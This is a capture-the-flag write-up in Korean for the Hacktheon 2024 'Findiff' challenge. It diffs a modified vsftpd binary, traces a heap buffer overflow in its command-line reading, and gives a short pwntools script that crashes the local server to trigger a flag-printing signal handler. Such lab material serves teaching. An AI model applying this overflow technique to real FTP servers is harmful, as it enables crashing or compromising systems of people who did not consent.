콘텐츠로 건너뛰기

[핵테온 2024] Findiff

Bindiff

vsftpd vs vvsftpd

vsftpd는 원본 ftp 서버 바이너리 파일, vvsftpd는 수정된 ftp 서버 바이너리 파일로 보인다.

수정된 vvsftpd init_connection 함수를 살펴보면, 첫줄에 다음 코드가 추가되있다.

  • 11 = SIGSEGV (segmantation fault)
signal(11, (__sighandler_t)getFlag);
  • getFlag(): flag 출력
void __cdecl __noreturn getFlag()
{
  int fd; // [rsp+Ch] [rbp-34h]
  char flag[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("flag", 0);
  memset(flag, 0, 32);
  read(fd, flag, 0x20u);
  printf("500 OOPS: %s\n", flag);
  exit(1);
}

문제서버 환경 구축

strace를 통해 vvsftpd 바이너리를 실행시키면, /etc/vsftpd.conf 파일을 불러오기 때문에
문제파일에서 제공된 vvsftpd.conf을 거기다 복붙해주면 된다.

ubuntu@2d0f4d9a440c:~/hto2024/findiff$ sudo strace ./vvsftpd
...
newfstatat(AT_FDCWD, "/etc/vsftpd.conf", 0x603123e264c0, 0) = -1 ENOENT (No such file or directory)
...

vvsftpd.conf

  • anonymous 로그인 가능
listen=YES
seccomp_sandbox=NO
one_process_model=YES

# User management
anonymous_enable=YES
no_anon_password=YES
nopriv_user=nobody
ftp_username=nobody

# Permissions
connect_from_port_20=NO
run_as_launching_user=YES
listen_port=5000
#anon_mkdir_write_enable=YES
anon_root=/tmp/ftp

# Filesystem interactions
write_enable=YES
download_enable=NO

Analysis

5000 포트에 접속하고 아무 문자를 입력하면, ”530 Please login with USER and PASS.” 문자열을 출력한다.
역참조해서 따라가보자

ubuntu@2d0f4d9a440c:~/hto2024/findiff$ nc 127.0.0.1 5000
220 (vvsFTPd 3.1.3.3.7)
s
530 Please login with USER and PASS.

해당 문자열은 parse_username_password 함수에서 참조되고 있었다.
여기서 “USER”를 커맨드로 받고, arg는 커맨드 띄어쓰기 이후를 가리킨다.

void __cdecl __noreturn parse_username_password(vsf_session *p_sess)
{
  while ( 1 )
  {
    while ( 1 )
    {
      vsf_cmdio_get_cmd_and_arg(p_sess, &p_sess->ftp_cmd_str, &p_sess->ftp_arg_str, 1);
      if ( !tunable_ftp_enable )
        break;
      if ( str_equal_text((const mystr_0 *)&p_sess->ftp_cmd_str, "USER") )
      {
        handle_user_command(p_sess);
      }
      ...

USER ABCD를 넣었을떄, anonymous로만 로그인 가능하다고 뜬다.

ubuntu@2d0f4d9a440c:~/hto2024/findiff$ nc 127.0.0.1 5000
220 (vvsFTPd 3.1.3.3.7)
USER ABCD
530 This FTP server is anonymous only.

USER anonymous를 넣었을때, 로그인에 성공한다.

ubuntu@2d0f4d9a440c:~/hto2024/findiff$ nc 127.0.0.1 5000
220 (vvsFTPd 3.1.3.3.7)
USER anonymous
230 Login successful.

근데 사실상, 문제점은 아래와 같다.

맨 처음에 init_connection 에 의해 parse_username_password 함수를 호출한다.
이후 vsf_cmdio_get_cmd_and_arg, control_getline 차례로 호출되는데,
여기서 control_getline 에서 vsf_secbuf_alloc(&p_sess->p_control_line_buf, 0x1000u); 에 의해 커맨드 라인 버퍼인 p_sess->p_control_line_buf를 0x1000만큼 할당받지만,
str_netfd_alloc 호출할때, 매개변수가 0x4000으로 넘겨져 입력받을 크기가 훨씬 많아 힙 버퍼오버플로우가 발생한다.

void __cdecl __noreturn init_connection(vsf_session *p_sess)
{
  signal(11, (__sighandler_t)getFlag);
  if ( tunable_setproctitle_enable )
    vsf_sysutil_setproctitle("not logged in");
  vsf_cmdio_set_alarm(p_sess);
  check_limits(p_sess);
  if ( tunable_ssl_enable && tunable_implicit_ssl )
    ssl_control_handshake(p_sess);
  if ( tunable_ftp_enable )
    emit_greeting(p_sess);
  parse_username_password(p_sess);
}
void __cdecl __noreturn parse_username_password(vsf_session *p_sess)
{
  while ( 1 )
  {
    while ( 1 )
    {
      vsf_cmdio_get_cmd_and_arg(p_sess, &p_sess->ftp_cmd_str, &p_sess->ftp_arg_str, 1);
      ...
void __cdecl vsf_cmdio_get_cmd_and_arg(vsf_session *p_sess, mystr *p_cmd_str, mystr *p_arg_str, int set_alarm)
{
  int ret; // [rsp+2Ch] [rbp-4h]

  if ( set_alarm )
    vsf_cmdio_set_alarm(p_sess);
  ret = control_getline(p_cmd_str, p_sess);
int __cdecl control_getline(mystr *p_str, vsf_session *p_sess)
{
  unsigned int len; // [rsp+18h] [rbp-8h]
  int ret; // [rsp+1Ch] [rbp-4h]

  if ( !p_sess->p_control_line_buf )
    vsf_secbuf_alloc(&p_sess->p_control_line_buf, 0x1000u);
  ret = ftp_getline(p_sess, p_str, p_sess->p_control_line_buf);
  if ( !ret )
    return 0;
  if ( ret < 0 )
    vsf_cmdio_write_exit(p_sess, 500, "Input line too long.", 1);
  str_replace_char((mystr_0 *)p_str, 0, 10);
  for ( len = str_getlen((const mystr_0 *)p_str); len && str_get_char_at((const mystr_0 *)p_str, len - 1) == 13; --len )
    str_trunc((mystr_0 *)p_str, len - 1);
  return 1;
}
int __cdecl ftp_getline(vsf_session *p_sess, mystr *p_str, char *p_buf)
{
  int ret; // [rsp+2Ch] [rbp-14h]
  int (*p_peek)(vsf_session *, char *, unsigned int); // [rsp+30h] [rbp-10h]
  int (*p_read)(vsf_session *, char *, unsigned int); // [rsp+38h] [rbp-8h]

  if ( p_sess->control_use_ssl && p_sess->ssl_slave_active )
  {
    priv_sock_send_cmd(p_sess->ssl_consumer_fd, 4);
    ret = priv_sock_get_int(p_sess->ssl_consumer_fd);
    if ( ret >= 0 )
      priv_sock_get_str(p_sess->ssl_consumer_fd, p_str);
    return ret;
  }
  else
  {
    p_peek = (int (*)(vsf_session *, char *, unsigned int))plain_peek_adapter;
    p_read = (int (*)(vsf_session *, char *, unsigned int))plain_read_adapter;
    if ( p_sess->control_use_ssl )
    {
      p_peek = (int (*)(vsf_session *, char *, unsigned int))ssl_peek_adapter;
      p_read = (int (*)(vsf_session *, char *, unsigned int))ssl_read_adapter;
    }
    return str_netfd_alloc(p_sess, p_str, 10, p_buf, 0x4000u, p_peek, p_read);
  }
}
int __cdecl str_netfd_alloc(
        vsf_session *p_sess,
        mystr *p_str,
        char term,
        char *p_readbuf,
        unsigned int maxlen,
        str_netfd_read_t p_peekfunc,
        str_netfd_read_t p_readfunc)
{
  unsigned int i; // [rsp+38h] [rbp-18h]
  unsigned int ia; // [rsp+38h] [rbp-18h]
  unsigned int left; // [rsp+3Ch] [rbp-14h]
  unsigned int retval; // [rsp+40h] [rbp-10h]
  int retvala; // [rsp+40h] [rbp-10h]
  int retvalb; // [rsp+40h] [rbp-10h]
  unsigned int bytes_read; // [rsp+44h] [rbp-Ch]
  char *p_readpos; // [rsp+48h] [rbp-8h]

  p_readpos = p_readbuf;
  left = maxlen;
  str_empty((mystr_0 *)p_str);
LABEL_2:
  if ( &p_readpos[left] != &p_readbuf[maxlen] )

solve.py

힙 오버플로우를 발생시켜 11 = SIGSEGV (segmantation fault) 시그널 발생 유도.

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = remote("127.0.0.1", 5000)

p.sendline(b'A'*0x4000)

p.interactive()

Result

ubuntu@2d0f4d9a440c:~/hto2024/findiff$ python3 solve.py 
[+] Opening connection to 127.0.0.1 on port 5000: Done
[*] Switching to interactive mode
220 (vvsFTPd 3.1.3.3.7)
500 OOPS: flag{fake_flag}

[*] Got EOF while reading in interactive
$  
태그: